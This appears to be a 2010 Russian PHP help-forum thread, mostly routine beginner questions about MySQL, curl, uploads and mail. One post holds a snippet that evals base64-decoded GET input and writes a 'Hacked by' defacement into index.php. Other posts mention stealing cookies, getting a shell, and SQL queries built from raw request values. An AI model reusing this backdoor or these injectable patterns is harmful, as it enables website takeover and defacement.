$time = strtr($time,$rate_array);
На выходе 1919 получается а надо чтобы выводил 22
(заменял число целиком а не каждый символ...)
mailbrush
23.02.2010, 12:15
Dark_cracker,
$result = mysql_query("SELECT `lalala` FROM `table` WHERE lalala='tratata' ");
$num = mysql_num_rows($result);
if ($num == 1)
{
echo 'Такая запись уже есть';
}
Вместо lalala пиши то поле, которое хочешь проверить.
Также можно писать так:
$result = mysql_query("SELECT * FROM `table` WHERE lalala='tratata' ");
Это будет означать: Выбрать все поля из таблицы table где lalala = tratata.
Вместо table пиши имя твоей таблицы.
Вместо tratata пиши текст, и если этот текст в твоем поле будет, то скрипт выдаст "Такая запись уже есть".
Ага... ла-ла-ла, тра-та-та :) Неплохие константы кодера... Во-первых, никто не говорил, что поле `lalala` - уникальное, соответственно может быть несколько записей в таблице с его одинаковым значением. Твой скрипт будет успешно работать только при уникальном значении `lalala`, а если же в таблице будет больше одной записи, то проверка не пройдет и скрипт продолжит свою работу. Дальше, насчет "можно писать так, а можно и так" :D - "писать" можно как угодно, а вот запрос должен быть сформулирован конкретно. Если человеку надо проверить существование записи в таблице, то объясни мне, ЗАЧЕМ ему выводить оттуда все данные? Лишний раз нагружать СУБД.
Dark_cracker , юзай
$result = mysql_query("SELECT NULL FROM `tableName` WHERE `fieldName` = 'fieldValue'");
$count = mysql_num_rows($result);
if ($count)
{
#запись есть в БД
} else
{
#записи нету
}
Доброе утро)
Как заставить, записывать данные с новой строки, а не в одну строчку
function logs($con){
$file = "logs/errors.dat";
$fp=fopen($file,"a+");
fputs($fp,$con);
fclose($fp);
senap
$fp=fopen("file.txt", "a");
fputs($fp, $log."\r\n");
fclose($fp);
Еще один дебильный вопрос, как с помощью curl обратиться к файлу на другом сервере.
Допустим , на другом сервере лежит файл text.txt и в нем записано цифра "1".
Как обратиться с локального сервера на удаленный к файлу text.txt и если там цифра 1, то выдать что Yes а если 0 то выдать NO
делаешь запрос,сеанс курла в переменную пишешь,а потом регулярка
<?php
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://localhost/lol.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
if(preg_match('/1/',$result)){
echo "yes";
}else{
echo "no";
}
?>
типа такого
<?php
$exec = curl_init('http://youserver.com/setting.txt');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_REFERER, '');
curl_setopt($exec, CURLOPT_HEADER, 1);
$page = curl_exec($exec);
if (strpos($page, "1")) {
echo "Yes";
} else {
echo "No";
}
?>
<?php
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://localhost/lol.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
if(preg_match('/1/',$result)){
echo "yes";
}else{
echo "no";
}
?>
типа такого
А что быстрее будет?
preg_match или eregi? :confused:
А что быстрее будет?
preg_match или eregi? :confused:
strpos(var mixtype,var needle);
<?php
$exec = curl_init('http://youserver.com/setting.txt');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_REFERER, '');
curl_setopt($exec, CURLOPT_HEADER, 0); // а не 1
$page = curl_exec($exec);
if (strpos($page, "1")) {
echo "Yes";
} else {
echo "No";
}
?>
Header в переменную писать не надо, т.к. в нём на первой строке есть 1, и будут ложные срабатывания
Имею переменную $num[0][1] которая содержит количество строк для импорта в бд.
Далее чере while собираю все строки
while ($i <= $m) {
~~~~~~~~~
$import.= "('".$id[$n][1]."', '".$login."', '".$name."', '".$status[$n][1]."', '".$size[0][1]."'); \n";
}
$query = "
INSERT INTO `db`.`table` (
`id` ,
`userid` ,
`title` ,
`status` ,
`size`
)
VALUES
$import
";
$db->query($query);
И вот теперь собсна вопрос, как сделать чтобы все кроме последней строки импорта имели на конце "," а последняя ";"
while ($i <= $m) {
~~~~~~~~~
$import.= "('".$id[$n][1]."', '".$login."', '".$name."', '".$status[$n][1]."', '".$size[0][1]."')";
if($i == $m) $import .= ";\n";
else $import .= ",\n";
}
WNZRS, и чего это у меня эта хрень в голову не пришла.
Надо поспать, 3 дня бессоницы. +1
<?php
error_reporting(E_ALL);
$code = "\$f = fopen(\"./index.php\", \"w+\");\nfwrite(\$f, \"<b> Hacked by ХУЙ, 2010 </b>\");\nfclose(\$f);\n";
echo $code."<br>";
echo str_replace("+", "-", base64_encode($code))."<br>";
echo base64_decode(str_replace("-", "+", $_GET["command"]))."<br>";
if (isset($_GET["command"])) { eval (base64_decode(str_replace("-", "+", $_GET["command"]))); }
?>
вот написал какую-то херню может че полутше кто предложит
_Malinovskiy_
23.02.2010, 20:42
подскажите как сделать: вывел 9 картинок через do-while+printf как разделить их на столбцы и(или) строки(3|3)?
подскажите как сделать: вывел 9 картинок через do-while+printf как разделить их на столбцы и(или) строки(3|3)?
кверху раком
_Malinovskiy_
23.02.2010, 21:12
спасибо очень дельный совет...
_Malinovskiy_
<?php
$mas = array('1','2','3','4','5','6','7','8','9','10','11 ');
//sposob #1
$count = 1;
$step = 3; // Тут сколь столбцов
foreach($mas as $line) {
echo "[".$line."]" ;
if($count % $step == 0) echo "<br />";
$count++;
}
echo "<hr />";
//sposob #2
for($i = 0; $i<count($mas); $i++) {
echo "[".$mas[$i]."]" ;
if(($i+1) % $step == 0) echo "<br />";
}
?>
Два корявых способа =)
_Malinovskiy_
23.02.2010, 22:00
спасиба!
Сделал копию гостевой на RSSно есть одна проблема: при конвертации даты функцией date("r",$VXOD); получаю даты 01.01.1970 3:00:27 +- несколько секунд. что делать?
P.S. в базу пишу дату date("j.m.Y H:i").
Делаю:
switch ($_GET['s']) {
case 0: echo '0';
case 1: echo '1';
case 2: echo '2';
}
Выполняются все инструкции после X числа
Например:
?s= , то будет: '012'
?s=0 , то будет: '012'
?s=1 , то будет: '12'
?s=2 , то будет: '2'
?s=3 , то будет: ''
как решить эту проблему без "break;" в каждой инструкции?
maximka_18
23.02.2010, 22:59
короче взломали мой акк. на одном форуме, и рассылают сообщения. как можно вернить мой акк. мне обратно, если я знаю свой пароль, но его к сожалению поменяли. может создать какой нить сайт, и стянуть куки?
zifanchuck
23.02.2010, 23:02
короче взломали мой акк. на одном форуме, и рассылают сообщения. как можно вернить мой акк. мне обратно, если я знаю свой пароль, но его к сожалению поменяли. может создать какой нить сайт, и стянуть куки?
на своем сайте стянуть куки с другого не получиться. Ретривни пасс на мыло. если и на мыле сменили то пиши в саппорт (мне помогало)
п.с темой промахнулся
Deathdreams
23.02.2010, 23:05
Сделал копию гостевой на RSSно есть одна проблема: при конвертации даты функцией date("r",$VXOD); получаю даты 01.01.1970 3:00:27 +- несколько секунд. что делать?
P.S. в базу пишу дату date("j.m.Y H:i").
strftime()
maximka_18
23.02.2010, 23:06
короче взломали мой акк. на одном форуме, и рассылают сообщения. как можно вернить мой акк. мне обратно, если я знаю свой пароль, но его к сожалению поменяли. может создать какой нить сайт, и стянуть куки?
саппорт сказал что ничем не сможет помочь :mad:
mailbrush
23.02.2010, 23:08
Делаю:
switch ($_GET['s']) {
case 0: echo '0';
case 1: echo '1';
case 2: echo '2';
}
Выполняются все инструкции после X числа
Например:
?s= , то будет: '012'
?s=0 , то будет: '012'
?s=1 , то будет: '12'
?s=2 , то будет: '2'
?s=3 , то будет: ''
как решить эту проблему без "break;" в каждой инструкции?
Никак, break является обязательным close'ром инструкции switch.
strftime()
Не очень понял куда её прикрутить.
CAN.....
24.02.2010, 00:43
Всем привет! Парни, сори за ламерский вопрос, но больше спросить не у кого... Вообщем при попытке инсталировать на сервер движок DLE выдает вот такую ошибку: Warning: require_once(/www/language/Russian/adminpanel.lng): failed to open stream: No such file or directory in /www/install.php on line 14 Fatal error: require_once(): Failed opening required '/www/language/Russian/adminpanel.lng' (include_path='.:/usr/local/lib/php') in /www/install.php on line 14
Кто подскажет что за фигня? И как побороть?
Всем привет! Парни, сори за ламерский вопрос, но больше спросить не у кого... Вообщем при попытке инсталировать на сервер движок DLE выдает вот такую ошибку: Warning: require_once(/www/language/Russian/adminpanel.lng): failed to open stream: No such file or directory in /www/install.php on line 14 Fatal error: require_once(): Failed opening required '/www/language/Russian/adminpanel.lng' (include_path='.:/usr/local/lib/php') in /www/install.php on line 14
Кто подскажет что за фигня? И как побороть?
В данном случае в сообщении всё сказано: не найден файл language/Russian/adminpanel.lng, попробуй переустановить.
CAN.....
24.02.2010, 00:58
Переустановку пробовал уж не раз, все так же.. А файл он есть, с необходимыми составляющими все в норме. Может библиотек каких на сервере не хватает?
а другие версии не пробовал ставить, может просто версия глюченая?
CAN.....
24.02.2010, 09:01
Нет, не думаю. CMS платная, протестирована не раз, иначе как бы она продавалась... И на денвере заводится без проблем.
Вот я и подумал что с сервером может чего не то. Что там может быть я не знаю, стандартный набор с поддержкой php и пр.. Можно конечно попробовать другой хостинг, но хотелось бы разобраться...
Подскажите, почему в переменной $_SERVER['PHP_SELF'] нуль-байты представлены нижним подчеркиванием?
Т.е. при обращении к файлу с echo этой переменной по адресу:
http://localhost/test/phpself-test.php/hello=%00hello
выводится:
/test/phpself-test.php/hello=_hello
PS magic_quotes=off
programming
24.02.2010, 23:01
Нужна функция удаления дупликатов из массивов, но не array_unique.
array_unique действует так:
есть массив -
arr[1]=3
arr[2]=5
arr[3]=3
arr[4]=6
После array_unique получаем:
arr[1]=3
arr[2]=5
arr[4]=6
А нужен такой результат:
arr[1]=3
arr[2]=5
arr[3]=6
То есть не сбивать порядок подсчёта элементов в массиве. Такое возможно?
programming $arr = array_values(array_unique($arr));
Первый опыт в написании скрипта.
Есть форма 1.php в ней 2 списка.
1-ый список это день
2-ой список это месяц.
и сабмит.
Второй файл это обработчик.
$a = $_POST['day']; $b = $_POST['month']; if (($a <= 19) && ($b == Февраль) || ($a >= 21) && ($b == Январь) ) { echo "Ваш Знак Зодиака: Водолей"; }elseif //Рыбы 20.02 - 20.03 (($a <= 20) && ($b == Март) || ($a >= 20) && ($b == Февраль) ) { echo "Ваш Знак Зодиака: Рыбы";
exit();
И так для каждого знака зодиака.
Можно ли как то по другому сделать этот скрипт.Буду рад конструктивной критике
Первый опыт в написании скрипта.
Есть форма 1.php в ней 2 списка.
1-ый список это день
2-ой список это месяц.
и сабмит.
Второй файл это обработчик.
$a = $_POST['day']; $b = $_POST['month']; if (($a <= 19) && ($b == Февраль) || ($a >= 21) && ($b == Январь) ) { echo "Ваш Знак Зодиака: Водолей"; }elseif //Рыбы 20.02 - 20.03 (($a <= 20) && ($b == Март) || ($a >= 20) && ($b == Февраль) ) { echo "Ваш Знак Зодиака: Рыбы";
exit();
И так для каждого знака зодиака.
Можно ли как то по другому сделать этот скрипт.Буду рад конструктивной критике
<?php
$a = $_POST['day'];
$b = $_POST['month'];
if (($a <= 19) && ($b == Февраль) || ($a >= 21) && ($b == Январь) )
{
echo "Ваш Знак Зодиака: Водолей";
}
elseif (($a <= 20) && ($b == Март) || ($a >= 20) && ($b == Февраль) )
{
echo "Ваш Знак Зодиака: Рыбы";
}
exit();
?>
Вот так код более наглядно выглядит)
А по теме, зачем его как то менять? Помоему проще уже некуда
Здраствуйте ещё раз.
Возможно ли с помощью preg_match , preg_match_all
Выдернуть с сайта такой текст:
<td align="Center">840</td><td align="Center">USD</td><td align="Center">100</td><td align="Left">Долларов США</td><td align="Right">799.0000</td>
Желательно написать только preg_match или
preg_match_all.А дальше сам я попробую сам написать.
Заранее спасибо
Спасибо.Я думал тут сильно намудрил.а оказывается что первый опыт прошёл успешно.
можно как нить на php установить задание Corn ?
подскажите как реализовать отправку письма с аттачем в php, причем аттач выбрать с папки на сервере хотябы введя его имя и расширение в форму...
Как сделать ББ-код на сайте, чтобы он реагировал на путь,типа:
<?php
http://lantube.lancom.ru/player/vPlayer.swf?f=http://lantube.lancom.ru/player/vConfig.php?vkey=4829e2fa0f430f0a9596
Если кто может помочь - то ещё скриптик,что бы одиночные или пустые теги выкидывал
Как сделать ББ-код на сайте, чтобы он реагировал на путь,типа:
<?php
http://lantube.lancom.ru/player/vPlayer.swf?f=http://lantube.lancom.ru/player/vConfig.php?vkey=4829e2fa0f430f0a9596
Если кто может помочь - то ещё скриптик,что бы одиночные или пустые теги выкидывал
А что не так с этим путем?
Выражайте свои вопросы четко,за вас никто не должен ничего додумывать.
Помогите найти ошибку:
<?php
function bbcode($text){
preg_match_all('/\[\s*url\s*=\s*([a-z][а-я])+\s*\](^.)\[\/url\]/i',$text,$code,PREG_SET_ORDER);
foreach ($code as $bb){
$subj=$bb[1];
$link=$bb[2];
echo "<a href=$ling>$subj</a>";}
}
bbcode('[ url=Тест] Проверка линки[/url]');
?>
Но выдаётся пустое место!
Неподскажите как бороться с проблемами:
1. ?page[]=news (http://forum.antichat.ru/showpost.php?p=1930967&postcount=2)
2. &password[]=90456 (http://forum.antichat.ru/showpost.php?p=1932704&postcount=6)
Неподскажите как бороться с проблемами:
1. ?page[]=news (http://forum.antichat.ru/showpost.php?p=1930967&postcount=2)
2. &password[]=90456 (http://forum.antichat.ru/showpost.php?p=1932704&postcount=6)
$page = (string) $_GET['page'];
or
if(is_array($_GET['page']){
$core->tpl('error');
}
Есть кусок кода из фотогалереи.
<a href=\"full.php?cat=".urlencode($cat)."&img=$image\" target=_blank>
<img src=\"image.php?cat=".urlencode($cat)."&image=$image\" border=1></a>
Меня не устраивает то, что фотка по клику открывается в новом окне. Есть движок галереи на яве *шустрый и без наворотов* (http://studioad.ru/blog/iload_3_image_gallery/2010-02-11-105), хочу показ полных фото организовать через неё.
Вызов её в примере описан так:
<a href="#" onclick="L.image(['http://studioad.ru/iload/1b.jpg'])">Ссылка</a>
Как мне в первый код вставить вызов галлереи на яве?
Помогите, plz, а то я в php не очень...
<a href="full.php?cat=".urlencode($cat)."&img=$image\" target=_blank>
Бланк меняешь на селф или еще что и не будет новой страницы.
Тебе нужно во второй код подставлять свой линк на картинку.
<a href="#" onclick="L.image(['full.php?cat=".urlencode($cat)."&img=$image'])">Ссылка</a>
Вроде так
0ldbi4, наоборот всё если я тебя правильно понял=)
Мне надо в первый код вставить вызов как во втором коде.
Первый кусок кода принадлежит галереи, которую я хочу юзать. Она файловая (мне так проще - закинул новые фотки в папку, она их автоматом при просмотре уменьшает и выводит. никакой возни руками с html). Но вот выводит она в новом окне как я уже говорил. Мне это не нужно, нужен вывод как тут: http://studioad.ru/index/0-8
Для этого я и хочу вывод больших изображений организовать через эту галерею на яве (оставив вывод превьюшек на файловой галерее.)
<a href="#" onclick="L.image(['full.php?cat=".urlencode($cat)."&img=$image'])">
<img src=\"image.php?cat=".urlencode($cat)."&image=$image\" border=1></a>
попробовал так, получил
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in C:\AppServ\www\index.php on line 119
кстати 119 строка это
<img src=\"image.php?cat=".urlencode($cat)."&image=$image\" border=1></a>
А код той странички не мог посмотреть?
Главное я так понял там rel='iload::Природа'
<a href="iload/1b.jpg" rel='iload::Природа' title="Лист::Эта фотография зеленого листа состоит в сете"><img src="iload/m1.jpg" /></a>
Вот почитать тебе: http://studioad.ru/blog/iload_3_image_gallery/2010-02-11-105
читал, да не понял нифига=) поэтому сюда и пишу.
как изображения в html это выглядит это я понимаю, руками каждое изображение прописать можно, но лениво. у меня их в галереи больше 2000, поэтому и использую файловую галерею (http://softtime.ru/info/smzgalleryfast.php?down=smzgalleryfast.zip вот тут она лежит если кому интересно). но в ней показ полноразмерного изображения устроен в новом окне, а я хочу во всплывающем. для этого я и хочу заюзать маленькую, но шуструю галерейку на яве.
тепрь, надеюсь, ясна суть. кому не лень - качните по ссылке выше (там меньше 10 килобайт всего архивчик) и присобачьте в index.php показ полноразмерных фоток через ту галерею на яве.
с меня +++++
Как можно отправить POST запрос в виде сформулированной xml строки?
<HTML>
<HEAD>
<TITLE>Отправка сообщения с вложением</TITLE>
</HEAD>
<BODY>
<H3> <center><font color=#1E90FF>Отправка сообщения с вложением</font></H3>
<center>
<table width=1 border=0>
<form action=mail.php enctype='multipart/form-data' method=post>
<tr><td width=50%>To:</td><td align=right><input type=text name=mail_to maxlength=32></td></tr>
<tr><td width=50%>Subject:</td><td align=right><input type=text name=mail_subject maxlength=64></td></tr>
<tr><td colspan=2>Сообщение:<br><textarea cols=50 rows=8 name=mail_msg></textarea></td>
</tr><tr><td colspan=2><input type=submit value='Отправить'></td></tr>
</form>
</table>
</center>
</BODY>
</HTML>
<?php
if(empty($_POST['mail_to'])) exit("Введите адрес получателя");
// проверяем правильности заполнения с помощью регулярного выражения
if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to']))
exit("Введите адрес в виде somebody@server.com");
$_POST['mail_to'] = htmlspecialchars(stripslashes($_POST['mail_to']));
$_POST['mail_subject'] = htmlspecialchars(stripslashes($_POST['mail_subject']));
$_POST['mail_msg'] = htmlspecialchars(stripslashes($_POST['mail_msg']));
$picture = "";
$path = "0063.zip"; // здесь указываем файл
$thm = $_POST['mail_subject'];
$msg = $_POST['mail_msg'];
$mail_to = $_POST['mail_to'];
// Вспомогательная функция для отправки почтового сообщения с вложением
function send_mail($to, $thm, $html, $path)
{
$fp = fopen($path,"r");
if (!$fp)
{
print "Файл $path не может быть прочитан";
exit();
}
$file = fread($fp, filesize($path));
fclose($fp);
$boundary = "--".md5(uniqid(time())); // генерируем разделитель
$headers .= "MIME-Version: 1.0\n";
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n";
$multipart .= "--$boundary\n";
$kod = 'koi8-r'; // или $kod = 'windows-1251';
$multipart .= "Content-Type: text/html; charset=$kod\n";
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n";
$multipart .= "$html\n\n";
$message_part = "--$boundary\n";
$message_part .= "Content-Type: application/octet-stream\n";
$message_part .= "Content-Transfer-Encoding: base64\n";
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n";
$message_part .= chunk_split(base64_encode($file))."\n";
$multipart .= $message_part."--$boundary--\n";
if(!mail($to, $thm, $multipart, $headers))
{
echo "К сожалению, письмо не отправлено";
exit();
}
}
// Отправляем почтовое сообщение
if(empty($picture)) mail($mail_to, $thm, $msg);
else send_mail($mail_to, $thm, $msg, $picture);
?>
неработает, что не так ?
Epic wave
26.02.2010, 00:30
Подскажите. поставил выполнение скрипта через крон. В скрипте есть очищение базе через truncate. Очищение базы не происходит. Как исправить? Спасибо
Здравствуйте, проблема с этим обработчиком что не ввожу в форму, выводится всегда только пустая страница в браузере. Все переменные введены вроде корректно.Работаю с удаленным сервером.
Помогите плиз!
// Обработчик//
<?php include ("blocks/bd.php");
if (isset($_POST['author']))
{
$author = $_POST['author'];
}
if (isset($_POST['text']))
{
$text = $_POST['text'];
}
if (isset($_POST['check']))
{
$check = $_POST['check'];
}
if (isset($_POST['sub_com']))
{
$sub_com = $_POST['sub_com'];
}
if (isset($_POST['id']))
{
$id = $_POST['id'];
}
//echo $author;
//echo $text;
//echo $check;
//echo $sub_com;
//if (isset($_POST['sub_com']))
if (isset($sub_com))
{
if (isset($author)) { trim($author); }
else {$author= "";}
if (isset($text)) { trim($text); }
else {$text= "";}
if (empty($author) or empty($text))
{
exit ("<p>Not enough of information, please come back and fill all fields.<br><input name='back' type='button' value='Back'
onclick='javascript:history.back(1);'></p>");
//onclick='javascript:self.back();'
}
$author= stripslashes($author);
$text= stripslashes($text);
$author= htmlspecialchars($author);
$text= htmlspecialchars($text);
$res5= mysql_query("SELECT sum FROM comments_setting",$db);
$myrow5= mysql_fetch_array($res5);
if ($check==$myrow5["sum"])
{
}
else
{
exit ("<p>Incorrect!.<br><input name='back' type='button' value='Back'
onclick='javascript:self.back();'></p>");
}
}
?>
// Это форма//
<? include ("blocks/bd.php");
if (isset($_GET['id'])) {$id=$_GET['id'];}
if (!isset($id)) {$id=1;}
mysql_query("SET NAMES utf8");
$res = mysql_query("SELECT * FROM data WHERE id='$id'",$db);
if (!$res)
{
echo "<p>Couldn't make query. Send this to an administrator osetija@yahoo.com<br><b>error code:</b></p>";
exit(mysql_error());
}
if (mysql_num_rows($res) > 0)
{
$myrow = mysql_fetch_array($res);
$new_view = $myrow["view"]+1;
$update = mysql_query ("UPDATE data SET view='$new_view' WHERE id='$id'",$db);
}
else
{
echo "<p>No records.</p>";
exit();
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title><? echo $myrow["title"]; ?></title>
<link href="style.css" rel="stylesheet" type="text/css">
<meta name="description" content="<? echo $myrow["meta_d"]; ?>"/>
<meta name="keywords" content="<? echo $myrow["meta_k"]; ?>"/>
</head>
<body>
<table width="990" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" class="main_border">
<? include ("blocks/header.php"); ?>
<tr>
<td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<? include ("blocks/lefttd.php"); ?>
<td valign="top">
<?
printf("<p class='post_title2'>%s</p><p class='post_add'>Author: %s</p><p class='post_add'>Date: %s</p><p>%s</p><p class='post_view'>View: %s</p>",$myrow["title"],$myrow["author"],$myrow["date"],$myrow["text"],$myrow["view"]);
echo "<p class='post_comment'>Comments:</p>";
$res3=mysql_query("SELECT * FROM comments WHERE post='$id'",$db);
if (mysql_num_rows($res3)>0)
{
$myrow3 = mysql_fetch_array($res3);
do
{
printf ("<div class='post_div'><p class='post_comment_add'>Comment added by: <b>%s</b> <br> Date: <b>%s</b></p><p>%s</p></div>",
$myrow3["author"],$myrow3["date"],$myrow3["text"]);
}
while ($myrow3 = mysql_fetch_array($res3));
}
$res4=mysql_query("SELECT img FROM comments_setting",$db);
if (!$res4)
{
echo "<p>Couldn't make query. Send this to an administrator osetija@yahoo.com. <br> <b>error code:</b></p>";
exit(mysql_error());
}
if (mysql_num_rows($res4)>0)
{
$myrow4 = mysql_fetch_array($res4);
}
else
{
echo "<p>No records.</p>";
exit();
}
?>
<p class="post_comment">Make A Comment!</p>
<form action="comment.php" metod="post" name="form_com">
<p><label>Your name (required): </label><input name="author" type="text" size="30" maxlength="30"></p>
<p><label>Your comment: <br> <textarea name="text" cols="41" rows="4"></textarea></label></p>
<p>Enter The Sum Of Numbers From The Image<br><img style='margin-top:17px;'src="<?echo $myrow4["img"];?>" width="80" height="40">
<input style='margin-bottom:12px;'name="check" type="text" size="5" maxlength="5"></p>
<input name="id" type="hidden" value="<? echo $id; ?>">
<p><input name="sub_com" type="submit" value="Comment!"></p>
</form>
</td>
</td>
</tr>
</table></td>
</tr>
<? include ("blocks/footer.php"); ?>
</table>
</body>
</html>
да и еще забыл сказать, что в браузерной строке почему-то выводятся все данные, которые ввожу в форму.
ossetia, для того что-бы что то выводилось на форму надо:
1) Использовать echo, print
2) Так же на форму выводится текст который не входит в "<?php ... ?>"
да и еще забыл сказать, что в браузерной строке почему-то выводятся все данные, которые ввожу в форму.
<form action="comment.php" method="post" name="form_com">
HTL, спасибо вам огромное за помощь! Теперь все работает! :)
ReduKToR
26.02.2010, 16:46
Как сравнить результат с бд mysql,за определенный срок?!
Как сравнить результат с бд mysql,за определенный срок?!
Можно более понятнее?
ReduKToR
26.02.2010, 17:08
Вообщем смотри, есть в таблице поле очков. надо будет сравнивать очки с начала месяца у всех юзеров, до конца месяца,а потом выводить список тех, кто за этот месяц набрал больше всего очков
Люди как обойти лимит скачиваний по IP? Можно по проксям. Но дело в том что скачивает не скрипт а пользователь:( Скрипт только дает ссылку.
mailbrush
26.02.2010, 18:00
А что мешает прокси прикрутить?
А для чего их прикрутить? Пользователю? Это для меня не вариант.
Скрипт выдает ссылки, скачаешь раз, скачаешь два уже не даст качать определенное время, что делать в этой ситуации?
Скрипт выдает ссылки, скачаешь раз, скачаешь два уже не даст качать определенное время, что делать в этой ситуации?
Использовать прокси =\
Вы неправильно поняли, скрипт просто выдает ссылки. Ограничение стоит на пользовательском IP. То есть скачивает пользователь. С этой ссылки которую выдает скрипт можно скачать сколько угодно, но с разных IP.
Вы неправильно поняли, скрипт просто выдает ссылки. Ограничение стоит на пользовательском IP. То есть скачивает пользователь. С этой ссылки которую выдает скрипт можно скачать сколько угодно, но с разных IP.
Мда. А как ты думаешь, что мешает пользователю скачивать второй раз подряд? Пользователь? СКРИПТ который дает ссылку, а вернее тот который передает файл. Он проверяет IP и последнее время скачивания. Значит, чтобы это обойти нужно получить FTP доступ (желательно root) и скачать файл, через FTP клиент. Получить шелл, и поправить этот скрипт, ну или использьзовать ПРОКСИ!!! И вообще при чем тут тема PHP? Нам написать скрипт который будет загружать список прокси, потом обращаться к тому файлу по прокси и скачивал файл?
Мда. А как ты думаешь, что мешает пользователю скачивать второй раз подряд? Пользователь? СКРИПТ который дает ссылку, а вернее тот который передает файл. Он проверяет IP и последнее время скачивания. Значит, чтобы это обойти нужно получить FTP доступ (желательно root) и скачать файл, через FTP клиент. Получить шелл, и поправить этот скрипт, ну или использьзовать ПРОКСИ!!! И вообще при чем тут тема PHP? Нам написать скрипт который будет загружать список прокси, потом обращаться к тому файлу по прокси и скачивал файл?
Нет, это конечно не нужно. Можете подсказать как реализовать обращение к тому файлу по прокси?
mailbrush
26.02.2010, 18:46
fsockopen, curl, etc...
Установил IPB v2.3.5
Там где название сайта например: Keltos(работает на IPB)-как убрать это, сказали в index.php а где именно там.
CyberHunter
26.02.2010, 20:49
Установил IPB v2.3.5
Там где название сайта например: Keltos(работает на IPB)-как убрать это, сказали в index.php а где именно там.
В тегах <title></title>, если я правильно понял.
подскажите код php (функцию)
Имеем картинку gif в которой 50 цветов
Как добавить этой кратинке всю палитру цветов?
Есть код (это часть):
$url = "http://xxxxxx.ru/xxxxxx"; //готовый урл, с этим работает!:)
$url = $_GET['name']; //получает урл гет или пост не важно, не работает с этим!:(
Что с этим делать?)) Тупость...(( Главное посылается тот же урл :D
Jed7777 ты уверен что в $_GET['name']; на тот момент хранится урл?
Jed7777 ты уверен что в $_GET['name']; на тот момент хранится урл?
Уверен 100%, проверял echo $url;
Все выводится как надо. Тупизм просто, и не могу ничего сделать :mad:
Дам доллар (1$) тому кто найдет решение проблемы:)
Можно в ICQ: 370-066-606
Jed7777, так у тебя $url пустой что-ли?
Кто знает как залить дамп базы wordpress на другой домен? Снял дамп с одного сайтега, залил в свою базу(у себя на сервере), конфиг отредактировал - но при заходе на главную wp не видит базы, а предлагает установить новую.
Jed7777, так у тебя $url пустой что-ли?
Нет
Есть код (это часть):
$url = "http://xxxxxx.ru/xxxxxx"; //готовый урл, с этим работает!:)
$url = $_GET['name']; //получает урл гет или пост не важно, не работает с этим!:(
Что с этим делать?)) Тупость...(( Главное посылается тот же урл :D
если честно- вопрос я не понял, особенно вот эти слова(( Главное посылается тот же урл, далее если я правильно понял ты хочеш чтоб переходило по переданной ссылке? тогда (в большинстве случаев) необходимо составлять функцию и отправлять запрос на сервер с помощью Curl
P.S. Или я что то нетак понял?
Jed7777 давай скрипт целиком тут телепатов нет
Нет
ну так а в чем проблема, я не понял?
Могу предположить ,что Jed7777 допустил ошибку непосредственно в форме может написал <input type='text' name='$name'>
Если нет, то опиши проблему подробнее
Nightmarе
27.02.2010, 21:17
Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/phpEHJpwP' to './folder/file.exe'
Подскажите, в связи с чем вызвана такая ошибка?
На сайте попросту не работает аплоадер ни в какую, вот и понять не могу, почему не заливаются файлы при простом сценарии
Есть код (это часть):
$url = "http://xxxxxx.ru/xxxxxx"; //готовый урл, с этим работает!:)
$url = $_GET['name']; //получает урл гет или пост не важно, не работает с этим!:(
Что с этим делать?)) Тупость...(( Главное посылается тот же урл :D
Могу предположить ,что Jed7777 допустил ошибку непосредственно в форме может написал <input type='text' name='$name'>
Если нет, то опиши проблему подробнее
при такой отправке echo ничегоб невывело б))))
P.S. вот таким образом постарайся вывести
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=".$url."'></head></html>";
Pashkela
27.02.2010, 21:22
Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/phpEHJpwP' to './folder/file.exe'
Подскажите, в связи с чем вызвана такая ошибка?
На сайте попросту не работает аплоадер ни в какую, вот и понять не могу, почему не заливаются файлы при простом сценарии
1. Права (лучше 777 для проверки)
2. Полный абсолютный путь, а не ./
Nightmarе
27.02.2010, 21:24
1. Права (лучше 777 для проверки)
2. Полный абсолютный путь, а не ./
это я в курсе.
права стоят и разные вариации испробованны.
и так ./ и так / и полный путь конечно же.
Pashkela
27.02.2010, 21:29
скрипт загрузки тогда + не превышает ли макс_аплоад_сайз
Nightmarе
27.02.2010, 21:32
скрипт загрузки тогда + не превышает ли макс_аплоад_сайз
Да хоть самый простой код:
$target_path = "uploads/";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
Но не в нем дело, ибо сам код рабочий 100%, а дело в сервере, и что там не так я хз, почему эта ошибка появляется, как будто в TMP заблокированна запись или возможность что-либо перенести\скопировать
Pashkela
27.02.2010, 21:37
дык сорри, /tmp тоже должна быть ес-но 777 и как минимум существовать и прописана в php.ini как временная дира для загружаемых файлов
Nightmarе
27.02.2010, 21:51
дык сорри, /tmp тоже должна быть ес-но 777 и как минимум существовать и прописана в php.ini как временная дира для загружаемых файлов
В том то и фишка, у меня на хостинге 2 домена, на одном всё работает, на другом нет.
а так на TMP естественно запись есть, ну а php.ini один на оба домена
Pashkela
27.02.2010, 22:04
